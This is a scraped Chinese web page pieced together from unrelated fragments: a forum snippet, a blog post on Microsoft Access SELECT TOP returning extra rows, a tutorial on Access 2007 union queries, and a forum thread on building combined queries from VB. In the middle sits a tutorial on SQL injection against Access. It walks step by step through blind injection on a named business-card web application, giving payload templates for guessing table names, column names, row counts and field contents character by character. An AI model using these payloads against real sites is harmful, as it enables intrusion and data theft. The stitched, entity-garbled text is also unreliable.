吧主团队删贴什么意思怎么删贴了好不容易找着个老乡就这么

下次自动登录
现在的位置:
& 综合 & 正文
如何解决ACCESS中SELECT TOP语句竟然返回多条记录的问题?
关于ACCESS中TOP 功能的一个问题我一直以为ACCESS的SQL语句与SQL Server差不多,当时也使用 Select top n在ACCESS测试过,都是成功的,但昨天突然发现ACCESS中有个问题:
如果在查询TOP语句的后面使用Order by,而且Order by字段中有重复值的话,那么这个TOP很可能会失效,会返回所有记录比如:
Select top <span style="FONT-WEIGHT: COLOR: # from News order by CreateDate
如果CreateDate中有重复值,那么很有可能会显示出所有的记录来,此TOP功能会失效的但如果CreateDate中无重复值,那么TOP功能还是有效的
因此,在ACCESS中使用TOP功能要注意一下order by的字段是否会有重复值,如果象CreateDate是"年-月-日 时:分:秒"的,那基本上问题不大的。但为了保险起见,我们也可以采用“加入主键”的方式:
Select top <span style="FONT-WEIGHT: COLOR: # from News order by CreateDate desc,id desc
用主键作“不可能重复”的保障就可以防止此问题出现了!!
希望这对某些朋友有用!!
在网上找到一个相关的解释:JET SQL不是 T-SQL语句。jet sql 会返回重复值,也就是说,一个表中如果 ORDER BY 的字段都是 0 ,一共有100条记录,即使你用SELECT TOP 1 来返回记录,也同样返回100条记录,因为 JET DB 无从在这100条记录里面判断先后次序,只能返回100条。要解决此问题可以在后面加入一个主键字段
&&&&推荐文章:
【上篇】【下篇】Access 2007使用联合查询合并多个选择查询的结果 - access教程 - 编程入门网
Access 2007使用联合查询合并多个选择查询的结果
对于多个相似的选择查询,当您希望将它们返回的所有数据一起作为一个合并的集合查看时,便可以使用联合查询
本文将向您介绍如何根据两个或多个现有的选择查询创建联合查询,同时说明如何使用结构化查询语言 (SQL) 编写联合查询
为完成本文中的示例,您应该对如何创建和运行选择查询有基本的了解。有关如何创建选择查询的详细信息,请参阅请参阅部分中的链接
联合查询基础知识联合查询有哪些功能?
联合查询可合并多个相似的选择查询的结果集
例如,假设您有两个表,一个用于存储有关客户的信息,另一个用于存储有关供应商的信息,并且这两个表之间不存在任何关系。又假设这两个表都有一些存储联系人信息的字段,而您希望同时查看这两个表中的所有联系人信息
您可以为每个表都创建一个选择查询(选择查询:就表中存储的数据提出问题,然后在不更改数据的情况下以数据表的形式返回一个结果集。),以便只检索包含联系人信息的那些字段,但返回的信息仍将位于两个单独的位置。要将两个或多个选择查询的结果合并到一个结果集中,可以使用联合查询
联合查询的要求
联合查询中合并的选择查询必须具有相同的输出字段数、采用相同的顺序并包含相同或兼容的数据类型。在运行联合查询时,来自每组相应字段中的数据将合并到一个输出字段中,这样查询输出所包含的字段数将与每个 Select 语句相同
注释 根据联合查询的目的,&数字&和&文本&数据类型兼容
联合查询是特定于 SQL 的。特定于 SQL 的查询不能在&设计&视图中显示,因此必须直接用 SQL 编写。在 Microsoft Office Access 2007 中,您可以使用&SQL 视图&对象选项卡编写特定于 SQL 的查询,包括联合查询
提示 每个查询都可以用 SQL 语句来表达。此外,大多数查询也可以在查询设计网格(设计网格:在查询设计视图或&高级筛选/排序&窗口中设计查询或筛选时所用的网格。对于查询,该网格以前称为&QBE 网格&。)中表达,如果此环境可用,构建查询将更加轻松。在使用设计网格创建查询时,您始终都可以切换到 SQL 视图,以查看运行查询时所处理的 SQL 语句。在 SQL 视图中查看查询是一种很好的做法,因为您可以通过此途径熟悉 SQL 并加深对查询工作方式的理解。在某些情况下,您还可以使用 SQL 视图对未返回预期结果的查询进行故障排除
联合查询的 SQL 语法
在联合查询中,每个选择查询(又称为 Select 语句)都有一个 SELECT 子句和 FROM 子句,还可能有 WHERE 子句。SELECT 子句列出包含要检索的数据的字段;FROM 子句列出包含这些字段的表;WHERE 子句则列出这些字段的条件。联合查询中的 Select 语句用 UNION 关键字组合在一起
对于合并了两个选择查询的联合查询,其基本 SQL 语法如下:
SELECT field_1[, field_2,&] FROM table_1[, table_2,&] UNION [ALL] SELECT field_a[, field_b,...] FROM table_a[, table_b,&];
例如,假设您有两个表,分别名为 Products 和 Services。这两个表都具有包含下列内容的字段:产品或服务的名称、价格、保修或担保条款以及是否以独占方式提供产品或服务。虽然 Products 表存储了保修信息,而 Services 表存储了担保信息,但基本信息是相同的(即特定的产品或服务是否符合其质量承诺)。您可以使用联合查询将两个表中的这四个字段合并在一起,例如:
SELECT name, price, warranty_available, exclusive_offer FROM Products UNION ALL SELECT name, price, guarantee_available, exclusive_offer FROM S
让我们逐行检查上面的语法示例
SELECT name, price, warranty_available, exclusive_offer 这是一个 SELECT 子句,用于引入选择查询。SELECT 后面跟有一个标识符列表,用于指示要从中检索数据的字段。SELECT 子句必须始终至少列出一个字段。此 SELECT 子句列出了字段标识符 name、price、warranty_available 和 exclusive_offer
FROM Products 这是一个 FROM 子句。FROM 子句跟在 SELECT 子句之后,二者共同构成了一个基本的 Select 语句。FROM 后也跟有一个标识符列表,用于指示哪些表包含 SELECT 子句中列出的字段。FROM 子句必须始终至少列出一个表。此 FROM 子句列出了表标识符 Products
UNION ALL 这是一个 UNION 关键字以及一个可选的 ALL 关键字。UNION 指示将 UNION 前后的 SELECT 语句的结果合并在一起。
在使用 ALL 关键字时,Union 生成的合并集中并不删除重复行。这样,Access 便无需检查重复行的结果,从而可以显著提高查询的性能。如果满足下列任一条件,则应使用 ALL 关键字:
您确定选择查询不会生成任何重复行
结果中是否存在重复行无关紧要
您希望查看重复行
在本示例中,我们使用 ALL 关键字是因为我们既不期望会返回重复行,也没有略去它们的必要
SELECT name, price, guarantee_available, exclusive_offer 这是第二个 SELECT 子句,用于引入联合查询中的第二个 SELECT 语句。在编写联合查询时,各个 SELECT 语句中的字段必须相互对应,这意味着各个 SELECT 语句必须具有相同的字段数,并且共享通用数据的字段必须以相同的顺序出现在子句中,同时这些字段必须具有相同或兼容的数据类型,如示例中所示。只有这些字段相互对应,才能在查询输出中将它们合并在一起。
注释 联合查询输出中的字段名称从第一个 SELECT 子句中提取。因此,在本示例的查询输出中,来自字段&warranty_available&和&guarantee_available&的数据将被命名为&warranty_available&
FROM Services 这是第二个 FROM 子句,用于完成联合查询中的第二个 SELECT 语句。与 SELECT 子句中的字段不同,联合查询对 FROM 子句没有表限制。您既可以创建在每个 FROM 子句中都使用相同的表的联合查询,也可以在 FROM 子句中使用不同数目的表。在我们的示例中,每个 FROM 子句都只有一个表辅助知识(53)
在所有的数据库注入中,只有access数据库的注入是最基础的,因为微软为其定义为小型数据库,所以没有那么多复杂的功能,适用于各种小型企业建站。
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& & & & & & & & & & & & & & & 常见的select查询
&&在第一章我们已经讲过了关于sql查询基础,而在上几节我们也阐述了关于sql查询的多种用法。这里我们利用奋网名片&v2.2系统实现一个完整的利用SQL注入过程。
&&&&奋网是小型名片发布系统,其下载地址为:(大家也可以到光盘相关中查找),下载完成后解压缩拖拽的iis中在本机访问会显示程序首页。
点击北京链接会发现地址栏中出现了变量,直接在后面加入“’”返回错误,初步判断有注入漏洞。
如图发现错误信息中有乱码,那么就在浏览器空白区域右键,在编码菜单中选择“简体中文”就会识别错误信息了。(这个时候由于编码问题其他位置会出现乱码大家不用管只要我们的需要的错误信息返回正确即可)
在这里我们可以看到几条信息,第一错误信息上位JET&database基本可以肯定为access数据库。第二出现字符串语法错误有可能存在注入漏洞。第三我们提交的字符串被单引号包含着说明是字符型。接下来利用字符型判断语句“'&and&'1'='1”和“'and&'1'='2”测试。会发现“'&and&'1'='1”返回正确而“'&and&'1'='2”返回错误肯定存在注入漏洞。
接下来利用SQL查询判断来猜解管理员的账号密码(由于本套系统并没把管理员账号密码写入数据库中,所以我们猜解其发布信息),因为是源代码所以我们可以看数据库表。
可以看到数据库只有一个表位info,而我们猜解的流程就是:判断数据库表名—&&判断数据库列名—&判断列名字段个数—&字段猜解
注入语法如下:
&&&猜解表名
and&exists(select&*&from&[表名])
&&&猜解列名
and&exists&(select&[字段名]&from&[表名])
&&&猜解表中记录个数
and&(select&Count(1)&from&[表名]&where&1=1)&between&num1&and&num2
&&&猜解列名长度
&&&&&&&&&&&and&(select&top&1&len([字段名1])&from&(Select&Top&1&[字段名1],[字段名2],...,[字段名n]&from&[表名]&where&1=1&order&by&[字段名1],[字段名2],...,[字段名n])&&order&by&[字段名1]&desc,[字段名2]&desc,...,[字段名n]&desc&)&between&num1&and&num2
&&&猜解列名内容
&&&&&&&&&&&and&(select&top&1&asc(mid(cstr(字段名1),1,1))&from&(Select&Top&1&[字段名1],[字段名2],...,[字段名n]&from&[表名]&where&1=1&order&by&[字段名1],[字段名2],...,[字段名n])&order&by&[字段名1]&desc,[字段名2]&desc,...,[字段名n]&desc&)&between&num1&and&num2
这里我们猜解info表名的id列内信息。首先判断数据库表名是否存在。在URL后输入“'&and&exists&(select&*&from&info)&and&'1'='1”发现返回正常。
我们再随意输入一个表名“'&and&exists&(select&*&from&admin)&and&'1'='1”发现返回错误并且错误写着找不到输入表admin,这就说明不存在admin表但是存在info表。
继续猜解列名,修改sql语句为“'&and&exists&(select&admin&from&info)&and&'1'='1”,猜解info表中是否有一个叫admin的列。
发现返回错误信息,说明并没有admin的列名,继续查看有没有id这样的列名。发现返回正确信息说明存在着id列名,利用同样的语句发现还存在“company”和“tel”这两个表。
接下来获取表中总共有多少条信息,利用二分法获取用户信息个数(二分法:假设数据是按升序排序的,对于给定&#20540;x,从序列的中间位置开始比较,如果当前位置&#20540;等于x,则查找成功;若x小于当前位置&#20540;,则在数列的前半段中查找;若x大于当前位置&#20540;则在数列的后半段中继续查找
,直到找到为止。)。语句为“'&and&(select&Count(1)&from&[info]&where&1=1)&between&0&and&100&and&'1'='1”,其作用是查询info表的列的个数是否在0-100之间(包括100),这里我们假设info表中有100条信息,而上面的代码就是查询信息是否超过100条,当超过100条时则会产生错误返之则会返回正确信息。其中count()函数的作用是返回指定列的&#20540;的数目,这里是设置的“1”我们还可以利用随意的列名比如id来替换或者直接利用通配符“*”来作为获取列。输入如上代码发现其并没有产生错误,那么说明info表的信息个数小于等于100,接下来利用二分法查找个数是否在0~50之间等,循环下去发现当查找个数为0~1则返回错误而0~2则返回正确,那么可以肯定表中有2条信息。
&&相关文章推荐
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:429738次
积分:5563
积分:5563
排名:第4458名
原创:43篇
转载:606篇
评论:10条
(3)(1)(2)(5)(1)(2)(4)(4)(6)(8)(9)(24)(17)(19)(3)(2)(1)(1)(8)(4)(7)(1)(4)(11)(27)(11)(47)(13)(46)(49)(7)(4)(17)(33)(13)(2)(2)(4)(8)(1)(6)(10)(16)(15)(9)(14)(22)(29)(8)(1)(11)(4)(8)(13)(30)(1)(18)(4)access中如何实现组合查询的功能 - Office当前位置:& &&&access中如何实现组合查询的功能access中如何实现组合查询的功能&&网友分享于:&&浏览:10次access中怎么实现组合查询的功能合同管理软件中有个合同组合查询模块,比如有五个查询条件,合同编号,执行情况,录入日期,录入人,物料描述。任选组合条件中的一个两个三个四个或者五个,得到符合条件的记录的所有字段值。在VB中怎么使用access语言实现组合查询的功能呢。SQL语句具体怎么写啊------最佳解决方案--------------------引用:那如果查询条件特别多,比方说有一百个,也把每一种组合情况都列举出来么??还是有什么比较简单的方法
where&后面的条件是可以组合的,用循环将你的选择组合成需要的字符串
如:合同编号=001&AND&录入人=某某某
做个窗体,将所有条件字段列出,用选择框来选择,用循环产生查询字符串。甚至可以选择&与&或&非&&&&&=&等各种条件。------其他解决方案--------------------select&合同编号,执行情况,录入日期,录入人,物料描述&
from&你的表名
where&条件
条件可以是任何的组合,用OR或者AND或者XOR链接
&------其他解决方案--------------------where&后面的条件是可以组合的,用循环将你的选择组合成需要的字符串
如:合同编号=001&AND&录入人=某某某------其他解决方案--------------------那如果查询条件特别多,比方说有一百个,也把每一种组合情况都列举出来么??还是有什么比较简单的方法
引用:where&后面的条件是可以组合的,用循环将你的选择组合成需要的字符串
如:合同编号=001&AND&录入人=某某某------其他解决方案--------------------我不是这个意思,那五项是要进行组合的查询条件,我要得到的是每个符合条件的记录的所有字段值,而不是那五个字段值
引用:select&合同编号,执行情况,录入日期,录入人,物料描述&
from&你的表名
where&条件
条件可以是任何的组合,用OR或者AND或者XOR链接
12345678910
12345678910
12345678910 上一篇:下一篇:文章评论相关解决方案 12345678910 Copyright & &&版权所有

我要回帖

更多关于 吧主如何删除会员 的文章

 

随机推荐